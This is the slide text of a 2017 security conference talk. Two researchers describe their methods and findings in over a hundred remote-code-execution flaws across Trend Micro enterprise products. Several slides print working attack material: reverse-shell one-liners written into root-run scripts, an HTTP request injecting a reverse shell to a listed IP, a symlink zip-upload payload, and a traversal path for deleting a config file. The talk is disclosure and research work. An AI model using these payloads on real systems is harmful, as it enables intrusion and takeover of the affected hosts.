
I got 99 trend’s and a # is 
all of them!

How we found over 100 RCE vulnerabilities in 

Trend Micro software
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About Us

Roberto Suggi Liverani (@malerisch)

▪ Independent Security Researcher

▪ Discovered critical vulnerabilities in vendors such as:
Microsoft, Google, Oracle, Mozilla, HPE

▪ Guest speaker at HiTB, EUSecWest, Ruxcon, Kiwicon, 
DEFCON and HackPra AllStars

▪ http://blog.malerisch.net
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About Us

Steven Seeley (@mr_me)

▪ AWAE Content Developer at Offensive Security

▪ Independent Security Researcher at Source Incite
– Focusing on high end desktop, enterprise and 

SCADA vulnerability discovery and exploitation

▪ Studies the CRCA Wing Chun Martial Arts system

▪ Certified Scuba Diver and Personal Trainer

▪ http://srcincite.io/
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What This Presentation is NOT about!

▪ Dropping the zero-day we found !

▪ A debate on vulnerability disclosure

▪ Putting down Trend Micro. Many other vendors have just as many, if 
not more vulnerabilities in their code

It’s about:

▪ Sharing our failures, successes, approach to testing

▪ Helping other developers and security researchers
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Motivation
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Motivation

▪ Trend Micro wants to secure their software

▪ They have a bug bounty

▪ They have a ton of recently acquired / developed security solutions

▪ Knowledge is readily available

▪ Many focusing on desktop Antivirus, not enterprise security solutions

▪ Huge attack surface running privileged code

▪ Finally, we couldn't resist…
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Motivation

“If the security industry is 
going to promote defense, 

then they, themselves, 
should not be defenseless.”
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Targets

▪ Smart Protection Server

▪ Data Loss Prevention Manager 

▪ Control Manager

▪ InterScan Web Security Virtual Appliance

▪ Threat Discovery Appliance 

▪ Mobile Security for Enterprise (still zero-day)

▪ Safe Sync for Enterprise
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Testing approach

“How can we fully 
compromise this product 

without user interaction?”
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Testing approach and methodology

▪ Low hanging fruit and most critical vulnerability  classes
– OS command injections and/or vulnerabilities that result in code execution

– Weaknesses in frameworks

– Authentication bypass

▪ Focus during vulnerability discovery phase:
– Reverse engineering of binaries and libraries

– Source code/scripts extraction and analysis

– Discern third-party components from Trend Micro code
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Testing approach

▪ Malware analysis approach

– Study the binary, its behavior, components, communication

– Understand who starts communication first (agent or server?)

– Studying of the packets exchanged and the protocol format

– Mapping of each action to network traffic observed 
via API hooking
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Testing Approach

▪ Looking for front-end patterns

POST /singlepointAPI.dll HTTP/1.1

Host: [target]

Content-Type: application/json

Connection: close

{"method_name":"get_object","params":

{"name":"test","objectId":"3"}}
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Testing Approach

▪ Automate patterns

– Search JavaScript for strings to build the (XHR) requests

– Write a custom web scanner that will perform the following actions:

1. Find all operations and their associated parameters in the JavaScript code

2. Build base requests

3. Execute base requests and look for a specific status code and/or string

4. If interesting request, feed Burp web proxy and manually check presence of 
vulnerability/behavior

5. If vulnerability found, re-use parameters and values across other identified attack 
patterns
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Testing Approach

▪ Go behind the scenes

– Using this approach, we found 80+ exploitable 
Remote Code Execution vulnerabilities in a single target

– Approach used against different Trend Micro targets

– However, not ALL operations can be found from the web

– Search the binaries for operations that are not triggered via the web application
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Testing Approach

▪ We found functions that were unlikely to have been tested for 
security vulnerabilities

▪ strings *.exe | grep -v 

'@\|;\|#\|&\|%\|\\$\|=\|?\|(\|)\|!\|\"\|:\|-

\|>\|\.\|[0-9]\|[A-Z]\|^_\|\s\|\\' | grep _ | 

sort –u

▪ strings *.dll | grep -v 

'@\|;\|#\|&\|%\|\\$\|=\|?\|(\|)\|!\|\"\|:\|-

\|>\|\.\|[0-9]\|[A-Z]\|^_\|\s\|\\' | grep _ | 

sort –u
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Testing Approach
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Success!

18



Pitfalls & difficulties

▪ Management
– Managing many reports/exploits/vulnerabilities was very tricky

▪ This was reduced since we could send these report’s off to ZDI to help us

– Found many duplicates between us

▪ Had to come out with a better system to share bugs!

▪ Software access
– Getting up-to-date versions was very hard

– Limited downloads

– Trial license with 30 days duration for some products only

▪ Some functionality disabled due to lack of full license (e.g. Active Directory integration)
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Pitfalls & difficulties

▪ Mistakes and laziness
– Rushing into a vulnerability class without understanding the context of the 

target

– Not enabling all functionality

▪ Some bugs could only be triggered changing default state

– Ignoring third party components or external software

– Not setting up an enterprise network (e.g. AD, Exchange server, etc.)

▪ Authentication Bypass
– A good number of discovered vulnerabilities still require authentication to 

trigger 
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Targets
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Smart Protection Server
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What is it?

▪ Acts as a central data repository for internal network
– URL and mail reputation data

– Complimentary with Office Scan

– Consumed by Trend Micro Office Scan clients running on workstations
▪ Smaller bandwidth consumption when updating patterns / 

querying URL validity

▪ Apache + PHP 5 on Windows

▪ How many vulnerabilities in this product?
– 3x OS Command Injection vulnerabilities (1x introduced with a patch!)

– 4x Privilege Escalation vulnerabilities 

▪ Java codebase was actually quite strong
… but… PHP had multiple vulnerabilities
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Approach

▪ We had no license… but we had access to patches !

▪ Install patches via the web interface GUI

So we performed a ghetto update install:
– Pop a shell using an old vulnerability

– Patch the install.sh to remove version detection and license checks

– Run install.sh on the command line
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wcs_bwlists_handler Cmd Injection

An exploitation walk through using a zero-day…
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Elevation of Privileges

▪ Simple elevation of privilege vulnerabilities
– ntpdate.sh rc.local Elevation of Privileges

– ProgramUpdateNotify.sh rc.local Elevation of Privileges

– CDTPurge.sh crontab Elevation of Privileges

– Tlogger crontab Elevation of Privileges

▪ The /etc/rc.local script executes two webserv owned 
& writable scripts

▪ The crontab executes two webserv owned and writable scripts, once 
a day and once an hour…

26



Elevation of Privileges

In /etc/rc.local we see execution of two different files…
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Elevation of Privileges

# echo "bash -i >& /dev/tcp/<ip>/<port> 0>&1" > /usr/tmcss/bin/tlogger

# echo "bash -i >& /dev/tcp/<ip>/<port> 0>&1" > /usr/tmcss/bin/CDTPurge.sh

In the crontab we see the same thing…
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Combining the vulnerabilities

... and we are root:
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Summary

▪ Initial injection requires authentication!! 

▪ The target is also riddled with CSRF and XSS issues
– These issues have not yet been reported... 

▪ Attackers cannot gain a root shell without client interaction
– That’s not our style!

▪ No need to use an old kernel bug that could crash the kernel…

▪ Remember, this Command Injection vulnerability was introduced in 
a security patch!
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Results

▪ Hard to conclude, this is an on-going target

▪ We will address the authentication mechanism in the future!

▪ Still, we achieved remote code execution and elevated privileges!

▪ Patch available: https://success.trendmicro.com/solution/1117033
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Data Loss Prevention

End of Life (EOL)
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What is it?

▪ Product to prevent IP theft and data loss within an organization

▪ Based on agent and network monitoring
– Network inspection for different protocols
– Agent supports multiple file formats
– Policies based

▪ Previous security research was done by Kelly Lum and Zach Lanier
– Stay Out of the Kitchen
– The Kitchen's Finally Burned Down

▪ They identified some of the attack surface that we audited and found 
vulnerabilities in!
– KeyView
– DLP client agent
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Under the hood

▪ Server
– Apache Tomcat with compiled CGI and a MySQL database

– Web Server + Administrative web interface on port 8443

– Web Server (Tomcat) on port 8080
▪ Used by DLP Crawler

▪ Dscctrl daemon SSL/TCP/8904 and TCP/8804 
▪ Used for agent communication (encrypted)

▪ Client
– Custom protocol format for the DLP client agent

– Client-side uses KeyView, a third party component.

– KeyView parses approximately 200 file formats

– KeyView runs as SYSTEM
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How many vulnerabilities in this product?

▪ Statistics (DLP + KeyView):
– 42x vulnerabilities that lead to Remote Code Execution

▪ 26x triggerable without authentication and privileged

– 1x Authentication bypass

– 1x DoS (Denial of Service)

▪ Let’s discuss approach and the most interesting vulnerabilities
– dlpCrawlerServerInvoker Deserialization of Untrusted Data

– Unauthenticated Stored Cross Site Scripting

– KeyView RTF fonttbl Tag Parsing Stack Buffer Overflow
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Attack Surface

▪ Extraction of web 
related files
– /home/dgate/prod/manager/webapps/

dsc/WEB-INF/classes/

– /home/dgate/prod/manager/webapps/
dsc/WEB-INF/lib/

▪ Decompile all classes and libraries
– JAD / JD-Gui to decompile all classes

▪ Manually reviewing
the source code
– Use of an IDE to map the code
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Attack Surface

▪ Mapping attack surface

▪ Identify different type of client software
– Noticed the Crawler agent software available

for download

▪ Agent software is a separate package
– Mapping use of third parties

– Noticed use of keyview (more on this later)

▪ Mapping all external ports to processes
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dlpCrawlerServerInvoker Deserialization of 
Untrusted Data

▪ Analysis
– The bug lies in the way the DLP Crawler agent works and communicates to the 

DLP server

▪ The DLP Crawler agents uses a specific port to pass data to the DLP 
server
– Port 8080

– The protocol used is HTTP with Java serialized objects
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dlpCrawlerServerInvoker Deserialization of 
Untrusted Data

Example of communication between the DLP Crawler agent and DLP Server

39



dlpCrawlerServerInvoker Deserialization of 
Untrusted Data

▪ By looking at the HTTP POST request we notice important elements:
– Lack of authentication mechanism 

– No challenge/nonce token required by the server

– The communication is in clear-text

▪ Presence of Java-to-Java remoting
– Java serialized objects are passed within the HTTP POST request
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dlpCrawlerServerInvoker Deserialization of 
Untrusted Data

The dsc/invoker/dlpCrawlerServerInvoker is handled by the following code in 
com/dgatetech/common/crawler/sigagent/RemoteCrawlerAgent.java
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dlpCrawlerServerInvoker Deserialization of 
Untrusted Data
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Unauthenticated Stored Cross Site Scripting

▪ Analysis
– Encrypted communication defeated using API Monitor against bcrypt.dll and 

ncrypt.dll libraries

– Lack of authentication between agent and server

– Lack of input validation and output escaping on the DLP portal

▪ Attacker simulates a registering agent with an arbitrary XSS payload in its 
"computername" field

– XSS payload is stored and rendered in two areas of the DLP administrative 
interface:

▪ /dsc/pages/administration/endpointmanagement/endpointsPortal.do

▪ /dsc/pages/dataProtection/accessControl/preListAccessControl.do
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Unauthenticated Stored Cross Site Scripting



Unauthenticated Stored Cross Site Scripting
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Unauthenticated Stored Cross Site Scripting

In EndpointMgmtListAction.java, here, the epjsonArray.put() function:

The getLinkedUrl() function builds the HTML code which will be 
embedded in JSON format:
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Unauthenticated Stored Cross Site Scripting

▪ How was it discovered?
– After analyzing and decrypting traffic between agent and server

▪ By examining data following these principles:
– Can data be controlled?

– Is data changed by the application before rendering?

– Are there filters, size limits or any preventing condition?

– Is data rendered in an HTML context?

– Is data directly or indirectly rendered?
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KeyView

▪ KeyView is a third party component

▪ Used by many DLP solutions

▪ Developed by Autonomy – now owned by HPE

▪ Its main role is to parse, index and convert files
– Large support of file formats (more than 200)

▪ DLP Remote Crawler Agent also uses KeyView component
– C:\Program Files\Trend Micro\DLP Remote Crawler Agent\dll\kvfilter.dll
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KeyView

▪ Finding a way to easily interact with KeyView:
– How do we know that filter.exe uses KeyView?

▪ Reverse engineered and spotted a dynamic DLL load of kvfilter.dll

▪ Analysis of kvfilter.dll
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KeyView

▪ So the fuzzing approach can be as the following:
– Command line: ”filter.exe <fuzzedfile> C:\temp\junk.txt”

▪ The junk.txt file will be created by the application

▪ Obtain a valid corpus of sample files
– Ideally these are traced and reduced

– It doesn't matter if we only obtain a few samples, the target code is old

▪ do fuzz() while 1;

– Hundreds of vulnerabilities discovered

▪ Focused only few highly exploitable conditions

– Some of which affect the latest version and are still zero-day
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RTF fonttbl Tag Parsing Stack Buffer 
Overflow

▪ Analysis
– RTF parsing library (rtfsr.dll) vulnerable to stack buffer overflow

▪ Caused due to incorrect placement of the { tag to close off one of the 
fonts within the font table

▪ Fault is in: 
– rtfsr!rtfFillBuffer+0x8734 (loc_7CBC83)

– The function calls a strcpy() – this results in 
an overflow of the stack frames
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RTF fonttbl Tag Parsing Stack Buffer 
Overflow

Corrupted Stack frames suck when trying to perform a RCA
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RTF fonttbl Tag Parsing Stack Buffer 
Overflow

▪ A crafted, embedded font allows instruction control

▪ Ideal situation for exploitation

▪ An attacker can modify a return address and take
control of the software code execution flow

▪ 1990 called…
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RTF fonttbl Tag Parsing Stack Buffer 
Overflow

▪ Exploitation is made easier because the kvfilter.dll was not compiled 
with ASLR or SafeSEH support or Stack Cookies!

▪ These gadgets can be used to exit from the function and then hit the 
controlled code

▪ Compromise the client and then target the server!

▪ The vector can be a drive by download, such as Chrome
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KeyView - RTF fonttbl Tag Parsing Stack 
Buffer Overflow

▪ We created a simple PoC that 
pops a calc

▪ DLP policy is often set to scan 
files/folders, such as the 
downloads folder upon 
filesystem modification
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Control Manager
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What is it?

▪ This is the heart of all Trend Micro products
– Central management console that manages Trend Micro products

▪ Gateway, Mail server, File server, corporate desktop levels, etc.

▪ IIS, PHP, ASP and Compiled CGI

▪ Remote code execution means low privileged access due to IIS default 
settings

▪ How many vulnerabilities in this product?
– 41x code execution brought via SQLi

▪ 14x of which do not require authentication

– 8x Information disclosures

▪ Leveraged information disclosure for authentication bypass
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Motivation

Other vulnerabilities had been discovered previously

Where there are a few, there are probably many

Will present on few SQL injection and an information disclosure one!
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ProgressReportCGI SQL Injection

▪ Unauthenticated, blind SQL Injection

▪ Allows an attacker to steal password hashes

▪ No need to crack the hashes, there is a pass the hash vulnerability as 
well

▪ Weak database service permissions, only running as 
NETWORKSERVICE

▪ Single authentication bypass for the ASP Interface

▪ Disclosed as ZDI-17-074
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ProgressReportCGI SQL Injection

…now that we have a valid session
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AdHocQuery_Processor SQL Injection
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AdHocQuery_Processor SQL Injection

▪ Combining two different vulnerabilities allows for unauthenticated 
remote code execution

▪ Low privileged code execution, however the local attack surface was 
not analyzed at the time

▪ Information disclosure and code execution vulnerabilities also existed 
in the PHP interface, which could have been combined also

▪ It just takes a single authentication bypass and you have several post 
authenticated SQL->RCE vulnerabilities to reach

▪ This bug was silently patched by Trend Micro
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modDLPTemplateMatch_drildown File 
Inclusion

▪ Very silly bug, simple Local File Inclusion

▪ Three Instances of this vulnerability because the code location was 
copied three times over in production…

▪ Needed a special primitive for modern local file inclusion
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modDLPTemplateMatch_drildown File 
Inclusion

No authentication needed ! (But low privileged code execution, boo!)
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Results
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InterScan Web Security
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What is it?

▪ Secure web gateway
– Inspect web traffic against known patterns, anti-malware database, URL reputation and other 

Trend Micro products

▪ Apache Tomcat and Struts 2 framework
– Code implemented in IWSSGui.jar

▪ How many vulnerabilities in this product?
– 41x Remote Code Execution vulnerabilities

▪ 4x do not require authentication

– 1x Authentication bypass and 2x Information disclosure

▪ Previous patch for vulnerabilities found by ZDI failed: 
ZDI-16-351, ZDI-16-350, ZDI-16-349 & ZDI-16-348

▪ The ability to bypass authentication
– … and no, its not in the session filter rgod☺
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Patch Bypass

private String escapeParam(String strParam)

{

String afterParam = strParam;

afterParam = afterParam.replace("\"", "\\\"");

afterParam = afterParam.replace("$", "\\$");

afterParam = afterParam.replace("`", "\\`");

return afterParam;

}
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Patch Bypass

\`bash -i >& 

/dev/tcp/<ip>/<port> 0>&1\`
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Other people’s findings

▪ Looks like we missed a few RCE vulnerabilities…
– https://www.korelogic.com/Resources/Advisories/KL-001-2017-003.txt

(ConfigBackup?action=import)

– https://www.korelogic.com/Resources/Advisories/KL-001-2017-001.txt
(ConfigBackup?action=upload_check)

▪ Next time, we’ll pay more attention

▪ Now, lets review a single, critical vulnerability that has been patched!

70

https://www.korelogic.com/Resources/Advisories/KL-001-2017-003.txt
https://www.korelogic.com/Resources/Advisories/KL-001-2017-001.txt


doPostMountDevice Unauthenticated Command 
Injection Vulnerability

71



doPostMountDevice Unauthenticated Command 
Injection Vulnerability

What is exeUihelperCmd anyway?
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doPostMountDevice Unauthenticated Command 
Injection Vulnerability

…and what is exeCmd anyway? Hang on a tick…

That‘s an interesting command ‘/etc/iscan/AdminUI/uihelper’
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doPostMountDevice Unauthenticated Command 
Injection Vulnerability
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doPostMountDevice Unauthenticated Command 
Injection Vulnerability
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doPostMountDevice Unauthenticated Command 
Injection Vulnerability

POST /rest/commonlog/log_setting/mount_device HTTP/1.1

Host: [host]:1812

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 77

{" mount_device":”\`bash -i >& 

/dev/tcp/172.16.175.1/1337 0>&1\`","cmd":" mount"}
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Patch

1. First, they check for a remote request, probably not the best way, since a 
SSRF can defeat this
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Patch

2. Then, a check to see if the mount_device is valid by calling  
isValidMountDevice()
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Patch

3. A string match that
can’t be defeated!
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Patch
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uihelper Elevation of Privilege 

▪ The previous vulnerability pops a root shell…

▪ Using the function exeUiHelperCmd method in Java

▪ However, sometimes the injection was in a different sink, and it 
achieved code execution as the ‘iscan’ user

▪ As it turns out, exeUiHelperCmd is just a wrapper around Java’s 
exec() calling a SUID script that executes a command…

▪ We wanted root, so we used the ‘uihelper.sh’ to get root access
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uihelper.sh Elevation of Privilege 
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Results
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Demo
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Threat Discovery Appliance

End of Life (EOL)
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What is it?

▪ Network monitor solution to inspect traffic against signatures/threat 
intelligence
– End of Life, no longer a #Trend

▪ Appliance using CentOS with an ancient kernel

▪ Authentication Bypass via an unauthenticated file delete!

▪ How many vulnerabilities?
– 9x OS Command Injection vulnerabilities in the CGI 

▪ File upload with zip extraction!

– 2x Authentication bypasses
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Directory Traversal Authentication Bypass 
Vulnerability 

▪ Analysis
– In the Threat Discovery Appliance, sessionid value is also used as a folder name 

under /var/log/

▪ e.g. /var/log/e8d49ad18d202d671fffcd5e7f37ba8b

– Inside the sessionid folder, a SQLite database is used to check whether the user 
is authenticated

▪ Static analysis was required to understand how it was working
– Session management is handled by: 

/opt/TrendMicro/MinoritReport/lib/mini_httpd/utils.so

▪ In this library, the logoff mechanism caught our attention
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Directory Traversal Authentication Bypass 
Vulnerability 
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Directory Traversal Authentication Bypass 
Vulnerability 

▪ Inside delete_session() function:
– A reference to /var/log/session/%s/%s

– Then following a call to system() with arguments as 
/bin/rm –rf %s

– By tracing the %s, we realized that comes from the 
sessionid cookie parameter provided to the logoff request
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Directory Traversal Authentication Bypass 
Vulnerability 
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Directory Traversal Authentication Bypass 
Vulnerability 

▪ Constraints

– File needs to actually exist because there is a call to 
xstat()

▪ No special characters allowed to inject commands

– Only way is to use the delete operation to achieve 
something

▪ Delete and reach default state (where admin password 
is known)

▪ ../../../../opt/TrendMicro/MinorityReport/etc/igsa.conf
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Directory Traversal Authentication Bypass 
Vulnerability 

▪ Path to exploitation

1. Attacker triggers delete action of igsa.conf

2. Appliance becomes unusable, sysadmin will be 
forced to restart the box

3. Appliance will automatically create a new igsa
file with a default admin password

4. Attacker waits until the box is restarted and use 
default password
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Directory Traversal Authentication Bypass 
Vulnerability 

How was it discovered?

▪ A technique was to inspect file system for changes in the 
last minute, after a logoff, by running a command such as:

– find /* -path /proc -prune -o -cmin -1

– Inotify can also be used

▪ Also inspecting key folder (/var/log/sessionid/ ) to check 
what happened after logoff
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dlp_policy_upload.cgi zip extraction

–Allows attackers to upload zip files that are 
extracted

–Extracts into a predictable folder directory

–Can’t use traversal attacks in the zip

–However, we can extract evil.sh

–How are we to exploit this ?
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dlp_policy_upload.cgi zip extraction
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dlp_policy_upload.cgi zip extraction

Stage 1 – Upload the 1st zip to create the symlink

zi = zipfile.ZipInfo()

zi.filename = u'si'

zi.external_attr |= 0120000 << 16L

zi.compress_type = zipfile.ZIP_STORED

z.writestr(zi, 

"/opt/TrendMicro/MinorityReport/bin/")
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dlp_policy_upload.cgi zip extraction

Stage 2 – Upload the 2nd zip to write into the 
symlinked directory

zi = zipfile.ZipInfo("si/dlp_kill.sh")

zi.external_attr = 0777 << 16L

z.writestr(zi, _get_bd())
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dlp_policy_upload.cgi zip extraction

1. Reset the admin’s password back to ‘admin123’

2. Login and upload 2 zip files

3. Extract the zip’s, overwriting a shell script

4. Trigger shell script from CGI

5. #Trend
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dlp_policy_upload.cgi zip extraction
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Demo
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Bonus for #HITB2017AMS !

Proof of Concept exploit code for the following vulnerabilities 
affecting Trend Micro Threat Discovery Appliance:

▪ [CVE-2016-8584]::Session Generation Authentication Bypass

▪ [CVE-2016-7552]::Directory Traversal Authentication Bypass

▪ [CVE-2016-8586]::dlp_policy_upload.cgi Information Disclosure

▪ [CVE-2016-8585]::admin_sys_time.cgi Command Injection RCE

▪ [CVE-2016-8585]::detected_potential_files.cgi Command Injection RCE

▪ [CVE-2016-8587]::dlp_policy_upload.cgi Zip Extraction RCE
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But wait, there's more!

▪ [CVE-2016-8588]::hotfix_upload.cgi Command Injection RCE

▪ [CVE-2016-8589]::log_query_dae.cgi Command Injection RCE

▪ [CVE-2016-8590]::log_query_dlp.cgi Command Injection RCE

▪ [CVE-2016-8591]::log_query.cgi Command Injection RCE

▪ [CVE-2016-8592]::log_query_system.cgi Command Injection RCE

▪ [CVE-2016-8593]::upload.cgi File Upload RCE

Finally, a pull request for a Metasploit module that 

uses CVE-2016-7552 and CVE-2016-7547 !
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https://github.com/rapid7/metasploit-framework/pull/8216


Mobile Security for Enterprise
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What is it?

▪ Central solution to secure mobile devices within an organization
– Supports Android, iOS, Windows Phones, Blackberry

– Policies based

▪ Under the hood
– Windows IIS / Compiled CGI / MSSQL / PHP ☺

▪ How many vulnerabilities?
– Found remote memory corruption pre-authenticated

– Sitting on 80 zero-day’s, at least 10 are pre-authenticated 

– Authentication bypasses also exist in the target...

▪ But...
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It’s a zero-day, sorry!
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Demo
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SafeSync for Enterprise
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About

▪ Central enterprise solution to secure data within an organization
– Provides encryption and data tagging

– File versioning and backup

– ACL on who can access what

▪ Under the hood
– Linux CentOS Appliance

– Lots of Perl code, not our favourite language!

▪ How many vulnerabilities?
– 20 x Command Injection vulnerabilities discovered, using a similar pattern to the one 

patched by Trend Micro themselves

– SQL Injection in the authentication, which was silently patched by Trend Micro!
▪ Allows an attacker to bypass the authentication
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Motivation

Why did we pick this target?

▪ Because another researcher found a Code Injection in it and we have 
never tested Perl. It could be fun we said…
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Hunting for vulnerabilities

▪ Approach
– Look at the vulnerable code pattern, and try to find every instance…
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Hunting for vulnerabilities

$reqdata is our input… easy to grep the code for “system(“ !
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Hunting for vulnerabilities

▪ Also, since we were tracing $reqdata as input, we found multiple SQL 
Injections while we were at it. However, most were parameterized

▪ The permissions on the database were strict, we couldn't leverage it 
for anything more than information disclosure…

▪ As it turns out, information disclosure was just what we needed...
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_get_user_hpassword SQL Injection

in Controller/api/auth.pm:

sub login_PUT {

my ( $self, $c ) = @_;

$c->model('DBI')->dbh()->{mysql_auto_reconnect} = 1;

my $username = $c->req->data->{username};

my $user = Storage::User->new($username, 'osdp');

my $hpassword_expect = _get_user_hpassword($username);
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_get_user_hpassword SQL Injection

sub _get_user_hpassword {

my $dbh = Storage::DB->dbh( { db => 'osdp' } );

my $admin_name = shift;

my $sql = qq{

SELECT DISTINCT hpassword

FROM users

WHERE login_name = '$admin_name' };

my ($user_password) = $dbh->selectrow_array($sql);
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_get_user_hpassword SQL Injection
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Overall Results
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Overall Results

▪ The research is still going on:
– Total products tested so far: 11
– Average number of vulnerabilities per product: ~24
– Remote Code Execution vulnerabilities so far: 236

▪ In all targets we tested, we found a way to gain remote code execution

▪ At least 2 failed patches:
– 1 patch introduced a vulnerability
– 1 patch failed to patch adequately

▪ In only 1 product was the database permissions correct, denying access to the 
underlying operating system from an SQL Injection

▪ InterScan had the highest number of code injection vulnerabilities

▪ Code review and/or reverse engineering was required for all targets
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Thanks!

▪ Trend Micro

▪ The Zero Day Initiative

▪ Hack in The Box

▪ Offensive Security

▪ The motivators: @aloria, @quine, @Qkaiser, @korprit and 
@rgod777 !
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Come and train with us
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Questions?

Steven Seeley (mr_me) 

▪ @steventseeley

▪ http://srcincite.io/

▪ Roberto Suggi Liverani (malerisch) 

▪ @malerisch

▪ http://blog.malerisch.net
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Demos

▪ https://asciinema.org/a/112568

▪ https://asciinema.org/a/112563

▪ https://asciinema.org/a/112567
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